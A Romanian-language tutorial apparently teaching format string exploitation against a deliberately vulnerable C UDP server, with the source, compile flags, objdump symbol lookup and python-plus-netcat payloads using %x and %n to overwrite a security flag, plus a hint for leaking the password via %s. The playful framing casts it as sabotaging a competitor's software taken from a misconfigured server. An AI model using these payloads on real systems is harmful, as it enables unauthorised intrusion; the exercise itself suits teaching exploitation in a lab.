Exploatarea unui format string

  • 5 minute de citit
  • 10 exemple de cod

Disponibil și în English

Pe această pagină

Bun venit, agent Nucu Labs!

Am fost angajați de niște contractori externi ca să-i ajutăm să ruineze…, vreau să spun, să le ușurăm viața în „competiția” lor.

Am obținut software-ul concurenței lor de pe un server AWS prost configurat.

Concurența lor, X, folosește software-ul ca să stabilească un canal privat de comunicare cu serverele lor. Software-ul e simplu: pornește un server, ascultă pe un port și așteaptă parola corectă. Când se introduce parola corectă, serverul reține clientul și nu mai cere parole, simplu.

Din fericire, codul sursă era și el pe acolo, altfel ar fi trebuit să facem reverse engineering pe binar, banal, știu.

Iată codul sursă, uită-te singur și ia-ți timp, să nu-ți scape ceva.

#include #include #include #include #include #include #include #include

#define PORT 9090 #define BUFFER_LENGTH 500 #define MIN_PASSWORD_LENGTH 5

char *password; int security_flag = 0;

/* Funcția aceasta inițializează programul */ void initialize(void) { int i; password = malloc(sizeof(char) * 10); srand(time(0));

for (i = 0; i < 9; i++) {    double f = (double)rand() / RAND_MAX;    password[i] = 65 + f * (90 - 65);}password[9]  = '\n';password[10] = '\0';printf("Server initialized!\n");printf("Server password: %s", password);fflush(stdout); }

int main(void) { struct sockaddr_in server; struct sockaddr_in client; char buf[BUFFER_LENGTH]; char responseBuf[BUFFER_LENGTH]; int clientLen = sizeof(struct sockaddr_in);

initialize();/* Configurează serverul */int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);memset((char *) &server, 0, sizeof(server));server.sin_family = AF_INET;server.sin_addr.s_addr = htonl(INADDR_ANY);server.sin_port = htons(PORT);if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {    perror("ERROR on binding");} /* Server sincron, tratează un singur client, buget redus */for (;;) {    /* Golește buffer-ele ca să nu se suprapună */    bzero(buf, BUFFER_LENGTH);    bzero(responseBuf, BUFFER_LENGTH);    int size = recvfrom(sock, &buf, BUFFER_LENGTH-1, 0, (struct sockaddr *) &client, &clientLen);    printf("size received: %d\n", size);    if (security_flag != 0 || (strcmp(buf, password) == 0 && size > MIN_PASSWORD_LENGTH)) {         // Când parola e corectă, îl lăsăm pe vadim să vadă ordinele secrete din rețea și nu mai cere parola..        sendto(sock, "secret unlocked\n", 17, 0, (struct sockaddr *) &client, clientLen);        security_flag = 1;        // [Imaginează-ți aici un meniu secret]    } else if (size > MIN_PASSWORD_LENGTH) {        char logBuffer[BUFFER_LENGTH] = {'\0'};        int size = sprintf(logBuffer, buf);        logBuffer[size] = '\0';        // ÎI TRIMITE LUI VADIM PAROLA ÎNAPOI, CA SĂ ȘTIE CĂ E UN IMBECIL!        sendto(sock, logBuffer, size+1, 0, (struct sockaddr *) &client, clientLen);        fflush(stdout);    }}close(sock);return EXIT_SUCCESS; } ``` ``` Ai citit codul sursă? Bine.

Ține minte, scopul nostru este să exploatăm acest software de la distanță, va trebui să proiectăm un exploit.

Configurarea laboratorului

Se recomandă să pornești o mașină Linux pe 32 de biți în VirtualBox dacă sistemul tău gazdă nu este Linux.

După cum vezi (presupunând că ai citit codul), ne interesează fie să schimbăm security flag-ul de la distanță, fie să facem programul să scoată parola. Ambele sunt posibile, ambele sunt, dar, pe baza testelor noastre de laborator, am putut doar să schimbăm security flag-ul. Dacă afli cum să obții parola, te rugăm să ne spui și s-ar putea chiar să primești o promovare și o sticlă de vodcă gratis.

Despre acestea vorbesc. Întoarce-te și recitește codul dacă ai uitat deja ce fac.

char *password; // Generată aleatoriu.int security_flag = 0; // Doar un întreg. Nenul = câștigi

Când compilăm programul obținem asta, bingo:

➜  /vagrant gcc -fno-stack-protector my_server.c -o mservmy_server.c: In function ‘main’:my_server.c:72:13: warning: format not a string literal and no format arguments [-Wformat-security]             int size = sprintf(logBuffer, buf);             ^

Am compilat binarul cu opțiunea -fno-stack-protector pentru că vrem să extragem parola, iar când stack-ul este protejat nu o putem extrage! GCC adaugă cod suplimentar în binar ca să oprească execuția dacă stack-ul se corupe.

➜  /vagrant objdump -t mserv | egrep "password|flag"0804a088 g     O .bss	00000004              security_flag0804a08c g     O .bss	00000004              password

După cum vezi, rulăm objdump -t ca să obținem simbolurile și le filtrăm cu egrep. Ce ne interesează sunt adresele lui security_flag și password. Dar cum ne ajută asta? Ne ajută pentru că printf folosește stack-ul. Alege unul dintre următoarele materiale de antrenament, citește-l și apoi încearcă să ocolești programul și să-l faci să-ți trimită meniul secret. Sunt sigur că poți și, dacă nu, citește mai departe.

Schimbarea security_flag-ului

Schimbarea security flag-ului este ușoară, tot ce trebuie să facem este să extragem din stack până ajungem la începutul string-ului nostru de format și apoi să construim string-ul de format care conține adresa de 4 octeți în care vrem să scriem.

Ca să scriem la acea adresă vom folosi %n, iar ca să extragem din stack vom folosi %.8x.

  • %n – scrie numărul total de caractere afișate într-o variabilă.
  • %.8x – afișează o adresă într-un mod plăcut.

Să folosim python ca să ne simplificăm tehnicile de exploatare, economisind multe caractere de tastat.

Deschidem două terminale, unul pentru program și unul pentru exploit.

// Trimiterea lui 123456 la server ni-l returnează, pentru că asta trebuie să facă serverul.➜  ~ python3 -c "print('123456')" | nc 127.0.0.1 -u 9090123456// Putem debloca secretul uitându-ne la celălalt terminal și trimițându-i parola corectă➜  ~ python3 -c "print('KCOIAMKAF')" | nc 127.0.0.1 -u 9090secret unlocked// repornește serverul.

Acum, să deblocăm secretul fără să cunoaștem parola corectă, schimbând doar security flag-ul, după cum am văzut mai devreme, adresa lui este: 0804a088.

<pre class="wp-block-code">```// Dacă trimitem %.8x. de 10 ori, primim înapoi următorul output. Încercăm să extragem din stack până ajungem la începutul string-ului nostru de format, astfel putem injecta lucruri.➜  ~ python3 -c "print('%.8x.'*10)" | nc 127.0.0.1 -u 9090000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.30303030.33663130.3030302e// Trimitem 'aaaa', adică 61616161 în hex, și iată, există un răspuns care conține aaaa.➜  ~ python3 -c "print('aaaa'+'%.8x.'*10)" | nc 127.0.0.1 -u 9090aaaa000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.61616161.30303030.33663130.// Restrângând, trebuie să trimitem de 7 ori %x ca să facem stack-ul să indice spre string-ul nostru. Dacă trimitem de 8 ori, ratăm.➜  ~ python3 -c "print('aaaa'+'%.8x.'*8)" | nc 127.0.0.1 -u 9090aaaa000001f3.00000000.bfd45c74.bfd45888.b753a000.bfd457b4.00000000.61616161.

Ca să scriem la security flag, vom face ca stack-ul să indice spre string-ul nostru și vom înlocui aaaa cu adresa security_flag-ului, care este: 0804a088.

➜  ~ python -c "print('\x08\x04\xa0\x88'+'%.8x.'*8+'')" | nc -u 127.0.0.1 9090��000001f3.00000000.bfea5bd4.bfea57e8.b7614000.bfea5714.00000000.88a00408.// stai, asta nu arată bine, pare că adresa noastră e afișată invers, asta ține de endianness, să inversăm adresa.➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*8+'')" | nc -u 127.0.0.1 9090�000001f3.00000000.bfea5bd4.bfea57e8.b7614000.bfea5714.00000000.0804a088.

Tot ce trebuie să facem acum este să mergem înapoi cu o adresă și să scriem la ea:

// Nu contează ce valoare scriem în flag, pentru că programul verifică doar dacă flag-ul este zero.➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*7+'%n')" | nc -u 127.0.0.1 9090�000001f3.00000000.bfa41914.bfa41528.b7552000.bfa41454.00000000.// Nu se întâmplă nimic. Dar dacă încercăm din nou să contactăm serverul:➜  ~ nc -u 127.0.0.1 9090hellosecret unlockedhowsecret unlocked

Obținerea parolei

În teorie, obținerea parolei ar trebui să funcționeze în același mod ca schimbarea secret_flag-ului. Înlocuiește %n cu %s și asigură-te că ai adresa parolei la începutul buffer-ului de format pe care îl trimiți serverului.

Atât! Mulțumesc că ai citit și o zi bună!